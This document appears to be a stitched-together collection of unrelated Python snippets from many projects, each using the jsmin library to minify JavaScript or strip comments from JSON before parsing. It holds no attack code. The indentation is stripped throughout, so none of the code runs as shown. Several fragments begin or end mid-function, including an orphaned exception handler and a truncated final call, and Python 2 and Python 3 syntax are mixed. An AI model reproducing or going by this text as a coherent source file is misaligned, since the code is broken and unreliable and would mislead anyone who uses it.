def build_js(app):
"""Build js files.
Include libs.js and page.js.
"""
static_path = app.static_folder
libs = G.js_config['libs']
layout = G.js_config['layout']
page_root_path = G.js_config['page']
# Build libs.js
libs_js_string = ""
for lib in libs:
lib_path = os.path.join(static_path, lib)
with open(lib_path) as js_file:
file_content = js_file.read()
libs_js_string += jsmin(file_content)
libs_js_string = libs_js_string.replace('\n', '').replace('\r', '')
with open(os.path.join(static_path, LIBS_JS), "w") as text_file:
text_file.write(libs_js_string)
print('libs.js builded.')
# Build page.js
page_js_string = ""
# layout
layout_js_prefix = "(function(){"
layout_js_suffix = "})();"
for layout_path in layout:
with open(os.path.join(static_path, layout_path)) as js_file:
page_js_string += layout_js_prefix + js_file.read() + layout_js_suffix
# page
blueprints = app.blueprints.keys()
page_js_prefix = "if(document.documentElement.id==='%s'){(function(){"
page_js_suffix = "})();}"
page_root_path = os.path.join(static_path, page_root_path)
for subdir in _get_immediate_subdirectories(page_root_path):
if subdir in blueprints:
subdir_path = os.path.join(page_root_path, subdir)
for _file in os.listdir(subdir_path):
if _file.endswith('.js'):
action = _file[:-3]
page_id = "page-%s-%s" % (subdir, action)
with open(os.path.join(subdir_path, _file)) as js_file:
page_js_string += page_js_prefix % page_id
page_js_string += js_file.read()
page_js_string += page_js_suffix
# print(file)
page_js_string = jsmin(page_js_string).replace('\n', '').replace('\r', '')
with open(os.path.join(static_path, PAGE_JS), "w") as text_file:
text_file.write(page_js_string)
print('page.js builded.')
def read(self, fp):
if isinstance(fp, str):
with open(fp) as jfile:
mini_jfile = jsmin.jsmin(jfile.read())
self.__setting = json.loads(mini_jfile)
elif issubclass(fp, io.IOBase):
mini_jfile = jsmin.jsmin(fp.read())
self.__setting = json.loads(mini_jfile)
else:
self.__setting = {}
return self.__setting
def getJavaScript( self, request, paths ):
response_data = ""
if not self.cacheAggregates or not self._inCache(paths):
result = []
for path in paths.split("+"):
if os.path.exists(os.path.join(self.library, "sjs", path)):
path = os.path.abspath(os.path.join(self.library, "sjs", path))
else:
path = os.path.abspath(os.path.join(self.library, "js", path))
if path.startswith(os.path.abspath(self.library)):
if path.endswith(".sjs"):
path = path.replace("/js", "/sjs")
data = None
if not self._inCache(path):
data = ""
tries = 0
# NOTE: For some reason, sugar sometimes fails, so we add a
# number of retries so that we increase the "chances" of the
# file to be properly loaded
while (not data) and tries < 3:
command = "%s -cljs %s %s" % (self.commands["sugar"], "-L%s" % (self.library + "/sjs"), path)
cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
data = cmd.stdout.read()
tries += 1
cmd.wait()
if data:
if self.minify and jsmin: data = jsmin.jsmin(data)
self._toCache(path, data)
else:
data = self._fromCache(path)
result.append(data)
else:
if not self._inCache(path):
data = self.app().load(path)
if self.minify and jsmin: data = jsmin.jsmin(data)
self._toCache(path, data)
else:
data = self._fromCache(path)
result.append(data)
else:
# NOTE: If we go here, someone is trying to hack our server
# and access files outside of the path. In this case, we just
# return false
return request.returns(False)
response_data = "\n".join(result)
self._toCache(paths, response_data)
else:
response_data = self._fromCache(paths)
return request.respond(response_data, contentType="text/javascript").compress(self.compress)
def bake(config, minify):
"""Bakes contents, templates, scripts, and styles together"""
params = {"title": config["title"]}
logger.info("Baking...")
contents_data = contents.load(config)
dynamic_templates = templates.load(config)
lambdas_data = lambdas.load(config, contents_data, dynamic_templates)
style, script = mix(config)
logger.info("Baking contents and templates")
contents.bake(config, contents_data, lambdas_data)
templates.bake(config, dynamic_templates, lambdas_data)
params.update({"json_data": json.dumps(contents_data + dynamic_templates)})
logger.info("Baking styles and scripts")
if minify:
params.update({"style_sheet": cssmin.cssmin(style), "script": jsmin.jsmin(script)})
else:
params.update({"style_sheet": style, "script": script})
logger.info("Baking lambdas")
params.update(lambdas_data)
params.update({"config": config})
logger.info("Compiling assets into an index page")
pie = merge_pages(config, templates.get_index(config), params)
build_index_html(pie, config)
return pie
def _create_js_dir(fromdir, todir, debug, basepath):
yield from mkdir(todir)
for source in sorted(fromdir.iterdir()):
if source.name.startswith('.'):
# hidden file
pass
elif source.is_dir():
yield from _create_js_dir(
source,
transplant_path(source, fromdir, todir),
debug, basepath,
)
elif '.js' in source.suffixes:
base_name = source.name.split('.', 2)[0]
dest = todir / (base_name + '.js')
dest_relative = dest.relative_to(basepath)
mod_name = str(dest_relative.with_name(base_name))
with source.open() as srcfile, dest.open('a') as destfile:
js = srcfile.read()
source_size = len(js)
if '.min' not in source.suffixes and not debug:
js = jsmin.jsmin(js)
sha = hashlib.sha1(js.encode('utf-8')).hexdigest()
destfile.write(js)
yield JSFile(
dest,
sha=sha,
size=len(js),
source=source,
source_size=source_size,
module_name=mod_name,
)
def minify_js_from_url(request, url, nominify=False):
"""Resolve a view given by the url and return and
minify its response content.
Params:
- ``request``: a ``django.http.HttpRequest``
- ``url``: url of a view which returns a text/javascript response
- ``nominify`` (optional): a flag if this response content should be
minified or not
Returns:
- minified or not minified Javascript content from a view
"""
url_split = request.GET['url'].split('?')
url = url_split[0]
query_string = None
if len(url_split)>1:
query_string = url_split[1]
view, args, kwargs = urlresolvers.resolve(url)
if query_string:
request.GET = request.GET.copy() #make request.GET immutable
for get_items in query_string.split('&'):
get_key, get_value = get_items.split('=')
request.GET[get_key] = get_value
kwargs['request'] = request
if nominify is False:
return jsmin(view(*args, **kwargs).content)
else:
return view(*args, **kwargs)
def read_plotcard(plotcard):
global plotlabels
global selection
global variables
global samples
global treeinfo
config = None#json.loads(open(plotcard).read())
with open(plotcard) as f:
config = json.loads(jsmin(f.read()))
for key in config:
if 'variables' in key:
logging.debug(' ---- book variables ----')
for var in config[key]:
logging.debug(' -- %17s %12s ' % ( var ,config[key][var]['hist']))
variables[var] = config[key][var]
if 'processes' in key:
logging.debug(' ---- book processes ----')
for proc in config[key]:
samples[proc] = config[key][proc]
logging.debug(' -- %12s %12s' % (key, samples[proc].get('cut','')))
if 'selection' in key:
logging.debug(' ---- book selections ---')
print selection
selection = config[key]
logging.debug(' -- %12s %12s' % (selection['name'], selection['title']))
if 'labels' in key:
logging.debug(' ------ book labels -----')
print plotlabels
plotlabels = config[key]
logging.debug(' -- %12s %12s' % (key, plotlabels['name']))
if 'tree' in key:
treeinfo = config[key]
logging.debug(' -------------------')
def compress(js):
try:
import jsmin
except:
import couchapp.hooks.compress.jsmin as jsmin
return jsmin.jsmin(js)
def save_merged_js():
# we'll maintain the original folder name as well as the file name
js_files = {}
js_dir = make_path([settings.input_dir,
settings.templates_dir,
settings.js_dir])
for folder, sub_dirs, files in os.walk(js_dir):
if files:
js_folder_name = folder.rsplit('/', 1)[1]
js = ''
for js_file in files:
with open(folder + os.path.sep + js_file) as file:
js += file.read()
if not args.dev:
js = jsmin(js)
# generate a hash of the file
js_hash = hashlib.sha1(js.encode('utf-8')).hexdigest()
# generate name and save the file
js_file_name = settings.js_output_file_mask.format(
name=js_folder_name, hash=js_hash[:settings.filename_hash_length])
js_files[js_folder_name] = save_to_output(js, [settings.js_dir, js_file_name])
return js_files
def build_page(data):
'''
Compile stylesheets, javascript, html, and generated data into one html file
data is a dictionary. See definition in main.js'''
import bs4
from jsmin import jsmin
soup = bs4.BeautifulSoup(open("index.html").read())
stylesheets = soup.findAll("link", {"rel": "stylesheet"})
for s in stylesheets:
t = soup.new_tag('style')
c = bs4.element.NavigableString(open(s["href"]).read())
t.insert(0,c)
t['type'] = 'text/css'
s.replaceWith(t)
#insert data into javascript file
jsonMarker ='/* INSERT JSON DATA HERE */'
jsonData = str(data)[1:-1] #strip the outer {} because it is being inserted into {}
#print jsonData
javascripts = soup.findAll("script")
for s in javascripts:
t = soup.new_tag('script')
#print s['src']
if s['src'][:4] != 'http':
c = bs4.element.NavigableString(jsmin(open(s["src"]).read().replace(jsonMarker,jsonData)))
t.insert(0,c)
t['type'] = 'text/javascript'
s.replaceWith(t)
open("output.html", "w").write(str(soup.prettify(formatter=None)))
def compileJsFiles(self, rootpath):
print "**Begin JS minification**"
minDir = os.path.join(rootpath, 'arches', 'Media', 'js', 'min')
print "minDir: " + minDir
mf = os.path.join(minDir, '1231_11_Arches.min.js')
utils.ensure_dir(mf)
minfile = open(mf,'w')
print "Minifying...."
buildfiles = JsFiles(debug=False)
mediapath = os.path.join(rootpath,'arches','Media')
mindata = self.getDataFromFiles(buildfiles, mediapath)
mintext = jsmin(mindata.getvalue())
print "Minification complete. Writing .js file"
minfile.write(mintext)
minfile.close()
print "Writing .gzip file"
gzipfile = gzip.open(os.path.join(minDir, '1231_11_Arches.min.js.gz'), 'wb')
gzipfile.writelines(mintext)
gzipfile.close()
print "**End JS minification**"
def setup_website_dir(
env: jinja2.environment.Environment, path: str, all_players: Iterable
) -> None:
"""Create the website dir and add static content."""
print("Writing HTML to %s" % path)
_mkdir(path)
_mkdir(os.path.join(path, "api"))
_mkdir(os.path.join(path, "api", "1"))
_mkdir(os.path.join(path, "api", "1", "player"))
_mkdir(os.path.join(path, "api", "1", "player", "wins"))
print("Copying static assets")
src = os.path.join(os.path.dirname(__file__), "html_static")
dst = os.path.join(path, "static")
if sys.platform != "win32":
subprocess.run(["rsync", "-a", src + "/", dst + "/"])
else:
rsync_replacement(src, dst)
print("Generating player list")
_write_file(
path=os.path.join(dst, "js", "players.json"),
data=json.dumps([p.name for p in all_players]),
)
print("Writing minified local JS")
js_template = env.get_template("dcss-scoreboard.js")
_write_file(
path=os.path.join(WEBSITE_DIR, "static/js/dcss-scoreboard.js"),
data=jsmin.jsmin(js_template.render()),
)
def get_js_file(jsfilepath):
path = os.path.join(jsdir, jsfilepath)
modifytime = os.path.getmtime(path)
cached = _cached_js.get(jsfilepath)
cached_modifytime = cached['modifytime'] if cached else None
if cached_modifytime == modifytime:
return cached['js']
# logging.info('Reloading %s' % jsfilepath)
file_output = StringIO.StringIO()
file_output.write('/' + '*'*25 + jsfilepath + '*'*25 + '/' + '\n'*5)
with open(path) as f:
if minify:
file_output.write(jsmin.jsmin(f.read()))
else:
file_output.write(f.read())
file_output.write('\n'*5)
js = file_output.getvalue()
_cached_js[jsfilepath] = {'modifytime': modifytime, 'js': js}
return js
def minify_string(self, js, outfile=None, *, path=None):
from jsmin import jsmin
result = jsmin(js)
if outfile:
open(outfile, 'w').write(result)
else:
return result
def process(self):
try:
from jsmin import jsmin
except ImportError:
raise ProcessorError('Unable to import jsmin module.')
self.save_contents(jsmin(self.read()))
def _addJSFragment(self, filename, minimise=True):
"""Add a piece of javascript to the master HTML page."""
if not dict(self.js).has_key(filename):
text = file(filename).read()
if minimise:
text = jsmin(text)
self.js += [(filename, "\n" + text + "\n")]
def minify(path):
"""
Load a javascript file and minify.
Parameters
------------
path: str, path of resource
"""
if 'http' in path:
data = requests.get(path).content.decode(
'ascii', errors='ignore')
else:
with open(path, 'rb') as f:
# some of these assholes use unicode spaces -_-
data = f.read().decode('ascii',
errors='ignore')
# don't re- minify
if '.min.' in path:
return data
try:
return jsmin.jsmin(data)
except BaseException:
return data
def minimize(text):
try:
import jsmin
return jsmin.jsmin(text)
except Exception, e:
import minimize
return minimize.minimize(text)
def ScriptFile(req, debug=None, version=None, name=None, files=None):
""" Return the body of the selected script file (or alias)
Called with either:
1. a single 'name' (return file name.js)
2. a 'name' and an array of 'files' (combine files into virtual name.js)
"""
# If debug=0 not specified, we probably want non-minified version
if debug is None:
debug = True
debug = bool(int(debug))
if version is None:
version = settings.SCRIPT_VERSION
sMemKey = 'jscompose-%s-%s-%d' % (name, version, debug)
if files is None:
# Found an alias - include component files
if name in settings.SCRIPT_ALIASES:
files = settings.SCRIPT_ALIASES[name]
# No alias - assume this is a singe javascript file
else:
files = [name]
sScript = None
if settings.SCRIPT_CACHE:
req.SetCacheTime(30*24*3600)
sScript = memcache.get(sMemKey)
else:
req.SetCacheTime(0)
if sScript is None:
# We only have the latest version of the script available if not already in memcache
if version != settings.SCRIPT_VERSION:
raise Http404
sMemKey = 'jscompose-%s-%s-%d' % (name, settings.SCRIPT_VERSION, debug)
sScript = ''
for name in files:
if debug:
sScript += "/* ---------- %s.js ---------- */\n" % name
try:
file = open(os.path.join(settings.SCRIPT_DIR, '%s.js' % name).replace('\\', '/'), 'r')
sT = file.read() + '\n'
if not debug:
sT = jsmin.jsmin(sT)
sScript += sT
file.close()
except Exception, e:
sScript += "/* Error loading file: %s.js (%r) */\n" % (name, e)
if settings.SCRIPT_CACHE:
logging.info("caching script %s" % sMemKey)
# Limit memcache to 1 hour in case script version not incremented!
memcache.set(sMemKey, sScript, 3600)
def getApplicationJavascriptCode(self):
javascript = str()
for filename in self.jsFiles:
javascript += jsmin(open(filename).read().strip()).replace('\n', '')
javascript = javascript.replace('%%SIGNATURE%%', session['signature'])
return javascript
def minify(data,write_out=False,filename=None,verbose=False):
if verbose:
print 'running minify'
data = jsmin(data)
if write_out and filename:
_write(data,filename)
return True
return data
def middleware_app(req):
r = req.get_response(app)
#if r.content_type in js_mimetypes and r.body:
r.decode_content()
r.body = jsmin(r.body)
if 'gzip' in req.accept_encoding:
r.encode_content()
return r
def build_physicsgravy():
fp = open("../src/physicsgravy.js", "rb")
js_content = fp.read()
fp.close()
m = re.search("/\\*(.+)\\*/", js_content, re.S)
fp = open("../dist/physicsgravy.min.js", "wb")
fp.write(m.group(0) + "\r\n" + jsmin.jsmin(js_content))
fp.close()
def bake_js(source_dir="js", dest_file="script.js"): create_baked_directory() o = open(os.path.join(os.path.dirname(__file__), "..", "static", "baked", str(get_build_number()), dest_file), "w") for fn in get_js_file_list(source_dir): jsfile = open(os.path.join(os.path.dirname(__file__), "..", fn)) o.write(jsmin(jsfile.read())) jsfile.close() o.close()
def templatejs(file_name, page_key=None):
page = None
if page_key:
page = Page.get_or_404(page_key)
js = render_template('js/%s.js' % (file_name), page=page)
if not settings.debug or '__no_debug__' in request.args:
js = jsmin(js)
return Response(js, content_type='text/javascript')
def minify_with_jsmin(js, quote_chars="'\"`"):
"""jsmin minification
:param string js:
:param string quote_chars:
:return stringf:
"""
return jsmin(js, quote_chars=quote_chars)
def compile_coffeescript(exclusions=list()):
matches = utils.locate_files_to_compile('*.coffee', exclusions)
for path, f, name in matches:
js = coffeescript.compile_file(os.path.join(sassy_coffee.DJANGO_PATH, f), bare=True)
from jsmin import jsmin
compressed_js = jsmin(js)
utils.write_to_file('js', name, path, compressed_js)
def get(self):
from django.utils import simplejson as json
from models import Celebrity
from jsmin import jsmin
celebrities = Celebrity.get_latest()
celebrities_list = [dict(tag=c.slug, count=c.vote_count) for c in celebrities]
self.response.headers['Content-Type'] = 'application/json'
self.response.out.write(jsmin(json.dumps(celebrities_list)))
def wutu_js():
if minify:
from jsmin import jsmin
jsdata = jsmin(get_data(api.jsstream))
else:
from jsbeautifier import beautify
jsdata = beautify(get_data(api.jsstream))
return Response(jsdata, mimetype="text/javascript")
def minify():
'''
minify javascript source with the jsmin module
'''
if jsmin is None:
easy.info('Jsmin not installed! cannot minify code')
return None
options.assets.js_files = map(lambda x: ((x[0],jsmin(x[1]))),options.assets.js_files)
from jsmin import jsmin
import os
import shutil
files = os.listdir("./")
for f in files:
ext = os.path.splitext(f)[1]
with open(f, 'r', encoding="utf8") as webfile:
web_raw = webfile.read()
if ext == ".css":
print(f + " ... CSS")
css_minified = css_minify(web_raw).replace('@charset "utf-8";', '')
with open("../data/" + f, "w", encoding="utf8") as css_new:
css_new.write(css_minified)
if ext == ".js":
print(f + " ... JS")
js_minified = jsmin(web_raw).replace('@charset "utf-8";', '')
with open("../data/" + f, "w", encoding="utf8") as js_new:
js_new.write(js_minified)
if ext == ".html":
print(f + " ... HTML")
html_minified = html_minify(web_raw).replace(
'@charset "utf-8";', '')
with open("../data/" + f, "w", encoding="utf8") as html_new:
html_new.write(html_minified)
if ext == ".svg":
print(f + " ... SVG")
shutil.copy2(f, '../data/' + f)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--strategy', default='strategy.jsonc')
parser.add_argument('--requirements', default='requirements.jsonc')
parser.add_argument('--draw',
choices=['information', 'algorithms', 'both'],
default='both')
args = parser.parse_args()
registry = json.loads(jsmin(open(REGISTRY, 'r').read()))
specs = json.loads(jsmin(open(SPECS, 'r').read()))
strategy = json.loads(jsmin(open(args.strategy, 'r').read()))
reqs = json.loads(jsmin(open(args.requirements, 'r').read()))
"""
draw both:
for all input, create the node if it doesn't exist
add node. add strategy. add all output node.
draw only algorithms:
an algorithm is connected to another if ITS OUTPUT is connected to any other INPUT
* we can label the edges with the informations name
draw only information:
first go through and collect all input information
infoA -> infoB if A was input to an algorithm and B was it's output
* we can label the edges with the algorithm's name
"""
expanded_strategy = {}
indexed_information = {}
indexed_algorithm = {}
required_sensor_names = reqs['required']
reqs.setdefault('algorithms', [])
required_function_names = reqs['algorithms']
def make_or_get_info(name):
indexed_information.setdefault(name, Information(name))
return indexed_information[name]
for algfunc in strategy:
algname = algfunc['algorithm']
platform = specs[algname]['platform']
fname = algfunc['function']
funcspec = specs[algname]['functions'][fname]
nodename = '{}/{}'.format(algname, fname)
outnode = make_or_get_info(funcspec['output'])
inputnodes = [] if not 'input' in funcspec else [
make_or_get_info(i) for i in funcspec['input']
]
usesnodes = [] if not ('uses' in funcspec) else [
make_or_get_info(i) for i in funcspec['uses']
]
alg = Algorithm(name=nodename,
outputinfo=outnode,
inputinfo=inputnodes,
usesinfo=usesnodes,
platform=platform)
outnode.implemented_by.append(alg)
for i in usesnodes:
i.used_by.append(alg)
for i in inputnodes:
i.input_by.append(alg)
indexed_algorithm[nodename] = alg
dot = Digraph()
if args.draw == 'both':
dot.attr('node', shape='box', style='filled')
for alg in indexed_algorithm.values():
dot.attr(
'node',
fillcolor=COLOR_BY_PLATFORM[alg.platform],
penwidth='5' if alg.name in required_function_names else '1')
dot.node(alg.name)
dot.attr('node', shape='box', style='filled', fillcolor='lightgrey')
for info in indexed_information.values():
if info.name in required_sensor_names:
dot.attr('node', pencolor='black', penwidth='5')
else:
dot.attr('node', pencolor='black', penwidth='1')
dot.node(info.name)
for nn in info.used_by:
dot.attr('edge', style='dashed')
dot.edge(info.name, nn.name)
for nn in info.input_by:
dot.attr('edge', style='solid')
dot.edge(info.name, nn.name)
for nn in info.implemented_by:
dot.attr('edge', style='solid')
dot.edge(nn.name, info.name)
elif args.draw == 'information':
dot.attr('node', shape='box', style='filled', fillcolor='lightgrey')
for info in indexed_information.values():
if info.name in required_sensor_names:
dot.attr('node', pencolor='red', penwidth='5')
else:
dot.attr('node', pencolor='black', penwidth='1')
dot.node(info.name)
for alg in indexed_algorithm.values():
dot.attr('edge',
color=COLOR_BY_PLATFORM[alg.platform],
penwidth='3')
for ifrom in alg.inputinfo + alg.usesinfo:
dot.edge(ifrom.name, alg.outputinfo.name, label=alg.name)
elif args.draw == 'algorithms':
dot.attr('node', shape='box', style='filled')
for alg in indexed_algorithm.values():
dot.attr('node', fillcolor=COLOR_BY_PLATFORM[alg.platform])
dot.node(alg.name)
for alg in indexed_algorithm.values():
for a2 in alg.outputinfo.used_by + alg.outputinfo.input_by:
dot.edge(alg.name, a2.name, label=alg.outputinfo.name)
# else if args.draw == 'both':
basename = os.path.basename(args.strategy)
basename, _ = os.path.splitext(basename)
dot.format = 'png'
dot.render('{}/{}-{}.gv'.format(ODIR, basename, args.draw), view=True)
def js_minify(src, dst):
with codecs.open(src, 'r', 'utf-8') as src_file:
minified = jsmin.jsmin(src_file.read())
with codecs.open(dst, 'w', 'utf-8') as dst_file:
dst_file.write(minified)
def parse_src(self, src, path=None):
src = super(JSParser, self).parse_src(src)
if self.compress:
src = jsmin(src)
return src
if output_file:
outputFilename = output_file
print "Merging libraries."
try:
if use_compressor == "closure":
sourceFiles = mergejs.getNames(sourceDirectory, configFilename)
else:
merged = mergejs.run(sourceDirectory, None, configFilename)
except mergejs.MissingImport, E:
print "\nAbnormal termination."
sys.exit("ERROR: %s" % E)
print "Compressing using %s" % use_compressor
if use_compressor == "jsmin":
minimized = jsmin.jsmin(merged)
elif use_compressor == "minimize":
minimized = minimize.minimize(merged)
elif use_compressor == "closure_ws":
if len(
merged
) > 1000000: # The maximum file size for this web service is 1000 KB.
print "\nPre-compressing using jsmin"
merged = jsmin.jsmin(merged)
print "\nIs being compressed using Closure Compiler Service."
try:
minimized = closure_ws.minimize(merged)
except Exception, E:
print "\nAbnormal termination."
sys.exit(
"ERROR: Closure Compilation using Web service failed!\n%s" % E)
def build_single_page_version(lang, args, nav, cfg):
logging.info(f'Building single page version for {lang}')
os.environ['SINGLE_PAGE'] = '1'
extra = cfg.data['extra']
extra['single_page'] = True
with util.autoremoved_file(os.path.join(args.docs_dir, lang, 'single.md')) as single_md:
concatenate(lang, args.docs_dir, single_md, nav)
with util.temp_dir() as site_temp:
with util.temp_dir() as docs_temp:
docs_src_lang = os.path.join(args.docs_dir, lang)
docs_temp_lang = os.path.join(docs_temp, lang)
shutil.copytree(docs_src_lang, docs_temp_lang)
for root, _, filenames in os.walk(docs_temp_lang):
for filename in filenames:
if filename != 'single.md' and filename.endswith('.md'):
os.unlink(os.path.join(root, filename))
cfg.load_dict({
'docs_dir': docs_temp_lang,
'site_dir': site_temp,
'extra': extra,
'nav': [
{cfg.data.get('site_name'): 'single.md'}
]
})
mkdocs_build.build(cfg)
if args.version_prefix:
single_page_output_path = os.path.join(args.docs_dir, args.docs_output_dir, args.version_prefix, lang, 'single')
else:
single_page_output_path = os.path.join(args.docs_dir, args.docs_output_dir, lang, 'single')
if os.path.exists(single_page_output_path):
shutil.rmtree(single_page_output_path)
shutil.copytree(
os.path.join(site_temp, 'single'),
single_page_output_path
)
single_page_index_html = os.path.join(single_page_output_path, 'index.html')
single_page_content_js = os.path.join(single_page_output_path, 'content.js')
with open(single_page_index_html, 'r') as f:
sp_prefix, sp_js, sp_suffix = f.read().split('<!-- BREAK -->')
with open(single_page_index_html, 'w') as f:
f.write(sp_prefix)
f.write(sp_suffix)
with open(single_page_content_js, 'w') as f:
if args.minify:
import jsmin
sp_js = jsmin.jsmin(sp_js)
f.write(sp_js)
logging.info(f'Re-building single page for {lang} pdf/test')
with util.temp_dir() as test_dir:
extra['single_page'] = False
cfg.load_dict({
'docs_dir': docs_temp_lang,
'site_dir': test_dir,
'extra': extra,
'nav': [
{cfg.data.get('site_name'): 'single.md'}
]
})
mkdocs_build.build(cfg)
css_in = ' '.join(website.get_css_in(args))
js_in = ' '.join(website.get_js_in(args))
subprocess.check_call(f'cat {css_in} > {test_dir}/css/base.css', shell=True)
subprocess.check_call(f'cat {js_in} > {test_dir}/js/base.js', shell=True)
if args.save_raw_single_page:
shutil.copytree(test_dir, args.save_raw_single_page)
if not args.version_prefix: # maybe enable in future
logging.info(f'Running tests for {lang}')
test.test_single_page(
os.path.join(test_dir, 'single', 'index.html'), lang)
if not args.skip_pdf:
single_page_index_html = os.path.join(test_dir, 'single', 'index.html')
single_page_pdf = os.path.abspath(
os.path.join(single_page_output_path, f'clickhouse_{lang}.pdf')
)
with open(single_page_index_html, 'r') as f:
soup = bs4.BeautifulSoup(
f.read(),
features='html.parser'
)
soup_prefix = f'file://{test_dir}'
for img in soup.findAll('img'):
if img['src'].startswith('/'):
img['src'] = soup_prefix + img['src']
for script in soup.findAll('script'):
script['src'] = soup_prefix + script['src'].split('?', 1)[0]
for link in soup.findAll('link'):
link['href'] = soup_prefix + link['href'].split('?', 1)[0]
with open(single_page_index_html, 'w') as f:
f.write(str(soup))
create_pdf_command = [
'wkhtmltopdf',
'--print-media-type',
'--log-level', 'warn',
single_page_index_html, single_page_pdf
]
logging.info(' '.join(create_pdf_command))
subprocess.check_call(' '.join(create_pdf_command), shell=True)
logging.info(f'Finished building single page version for {lang}')
def compress_copy(src,
dst,
replace_files=True,
compress_css=settings.COMPRESS_CSS,
compress_js=settings.COMPRESS_JS):
"""
A wrapper around ``shutil.copy2`` to optionally compress javascript or css
files.
:param src:
The path to the original file/directory
:type src:
``string``
:param dst:
The path to the destination file/directory
:type dst:
``string``
:param compress_css:
Should CSS files be compressed. **Default:** False
:type compress_css:
``bool``
:param compress_js:
Should javascript files be compressed. **Default:** False
:type compress_js:
``bool``
"""
if os.path.basename(src) and os.path.basename(src)[0] == '.':
print "Skipping hidden file %s" % src
return
if not replace_files and os.path.exists(dst):
return
root, ext = os.path.splitext(src)
fileptr = None
if compress_css and ext == '.css':
mincss = csscompressor.compress_cssfile(src)
src_chksum = zlib.adler32(mincss)
if os.path.exists(dst):
func = "Replacing minified CSS"
dst_chksum = zlib.adler32(open(dst, 'rb').read())
else:
func = "Writing minified CSS"
dst_chksum = 0
if src_chksum != dst_chksum:
print "%s %s" % (func, dst)
fileptr = open(dst, 'w').write(mincss)
if fileptr:
fileptr.close()
elif compress_js and ext == '.js':
if settings.JS_COMPRESSION_CMD:
print "Compressing %s to %s" % (src, dst)
os.system(settings.JS_COMPRESSION_CMD % {
'infile': src,
'outfile': dst
})
else:
js = open(src).read()
minjs = jsmin.jsmin(js)
src_chksum = zlib.adler32(minjs)
if os.path.exists(dst):
func = "Replacing minified Javascript"
dst_chksum = zlib.adler32(open(dst, 'rb').read())
else:
func = "Writing minified Javascript"
dst_chksum = 0
if src_chksum != dst_chksum:
print "%s %s" % (func, dst)
fileptr = open(dst, 'w').write(minjs)
if fileptr:
fileptr.close()
else:
src_chksum = zlib.adler32(open(src, 'rb').read())
if os.path.exists(dst):
func = "Replacing"
dst_chksum = zlib.adler32(open(dst, 'rb').read())
else:
func = "Copying"
dst_chksum = 0
if src_chksum != dst_chksum:
print "%s %s" % (func, dst)
shutil.copy2(src, dst)
from jsmin import jsmin
import shutil
filesToMinify = ['route-app','custom-script','load-task-list','print-pdf']
for filename in filesToMinify:
newName = filename+'.min.js'
print newName+" minified..."
with open(filename+'.js') as js_file:
f = open(newName,"w+")
minified = jsmin(js_file.read())
f.write(minified)
f.close()
minifiedJs = ['route-app.min.js','custom-script.min.js','load-task-list.min.js','print-pdf.min.js']
with open('combined_js.js','wb') as wfd:
for f in minifiedJs:
with open(f,'rb') as fd:
shutil.copyfileobj(fd, wfd, 1024*1024*10)
def _minify(caller):
return jsmin(caller()).strip()
destdir = os.path.dirname(outfile)
if destdir:
os.makedirs(destdir, exist_ok=True)
loader.write_csv(filename=outfile, make_strings=make_strings, write_header=not no_header, delimiter=csv_delimiter, allow_empty=allow_empty_output)
except Exception as err:
print("Error while processing file {}: [{}] {}".format(json_file.name, type(err), err))
raise err
pass
if __name__ == '__main__':
parser = init_parser()
args = parser.parse_args()
key_map_content = json.loads(jsmin(args.key_map.read()))
if args.output_csv is None:
output_paths = [None for _ in args.input_json_files]
else:
output_paths = [get_filepath_formatted_from_filepath(args.output_csv, fp) for fp in args.input_json_files]
assert args.output_csv is None or len(set(output_paths)) == len(set(args.input_json_files)), "Mismatched number of input-output filepaths. Number of generated output paths ({}) must match number of input files to convert ({})".format(len(output_paths), len(args.input_json_files))
for i, filepath in enumerate(args.input_json_files):
output_filepath = output_paths[i]
with open(filepath, "r") as fileobject:
dt = datetime.datetime.today()
s_time = "{:02}:{:02}:{:02}".format(dt.hour, dt.minute, dt.second)
print(" {} / {} : {} {}| {}".format(i+1, len(args.input_json_files), fileobject.name, (("-> %s "%output_filepath) if output_filepath else ""), s_time))
convert_json_to_csv(fileobject, key_map_content, output_filepath, args.no_header, args.strings, args.each_line, args.delimiter, args.allow_empty_file)
def gen_param_types(b):
params = []
for [p, v] in b['params']:
params.append('-p \'%s\'' % p)
return ' '.join(params)
def gen_param_values(b):
params = []
for [p, v] in b['params']:
params.append('\'%s\'' % v)
return ' '.join(params)
with open('../tpch/queries.json', 'r') as f:
bench = json.loads(jsmin(f.read()))
print('SHELL:=/bin/bash')
print('COMPILE=../../_build/default/castor/bin/compile.exe')
if DEBUG:
print('CFLAGS=-debug -v')
else:
print('CFLAGS=-v')
print('XFORM_PATH=../../castor-opt/bin/xform.exe')
print(
'XFORM=dune exec $(XFORM_PATH) -- -trace -set-log-level-castor.ops debug')
print('TIME_CMD=/usr/bin/time')
print('TIME_PER_BENCH=1')
print('BENCH_DIR=../tpch/')
print('''
def dojs(dogis=False):
""" Minifies the js"""
# Define which files we want to include
# also need to amend sahana.js.cfg
configDictCore = {"web2py": "..", "T2": "..", "S3": ".."}
configFilename = "sahana.js.cfg"
outputFilename = "S3.min.js"
# Merge JS files
print "Merging Core libraries."
(files, order) = mergejs.getFiles(configDictCore, configFilename)
merged = mergejs.run(files, order)
# Compress JS files
print "Compressing - JS"
minimized = jsmin.jsmin(merged)
# Add license
print "Adding license file."
minimized = file("license.txt").read() + minimized
# Print to output files
print "Writing to %s." % outputFilename
file(outputFilename, "w").write(minimized)
# Remove old JS files
print "Deleting %s." % outputFilename
try:
os.remove("../S3/%s" % outputFilename)
except:
pass
# Move new JS files
print "Moving new JS files"
shutil.move("S3.min.js", "../S3")
if dogis:
# also need to amend sahana.js.gis.cfg
configDictGIS = {"gis": ".."}
configDictGeoExt = {
"GeoExt.js": "../gis/geoext/lib",
"GeoExt": "../gis/geoext/lib",
"ux": "../gis/geoext"
}
configDictOpenLayers = {
"OpenLayers.js": "../gis/openlayers/lib",
"OpenLayers": "../gis/openlayers/lib",
"Rico": "../gis/openlayers/lib",
"Gears": "../gis/openlayers/lib"
}
configDictGlobalGIS = {}
configDictGlobalGIS.update(configDictOpenLayers)
configDictGlobalGIS.update(configDictGIS)
configFilenameGIS = "sahana.js.gis.cfg"
configFilenameGeoExt = "geoext.js.gis.cfg"
outputFilenameGIS = "OpenLayers.js"
outputFilenameGeoExt = "GeoExt.js"
# Merge GIS JS Files
print "Merging GIS libraries."
(files, order) = mergejs.getFiles(configDictGlobalGIS,
configFilenameGIS)
mergedGIS = mergejs.run(files, order)
print "Merging GeoExt libraries."
(files, order) = mergejs.getFiles(configDictGeoExt,
configFilenameGeoExt)
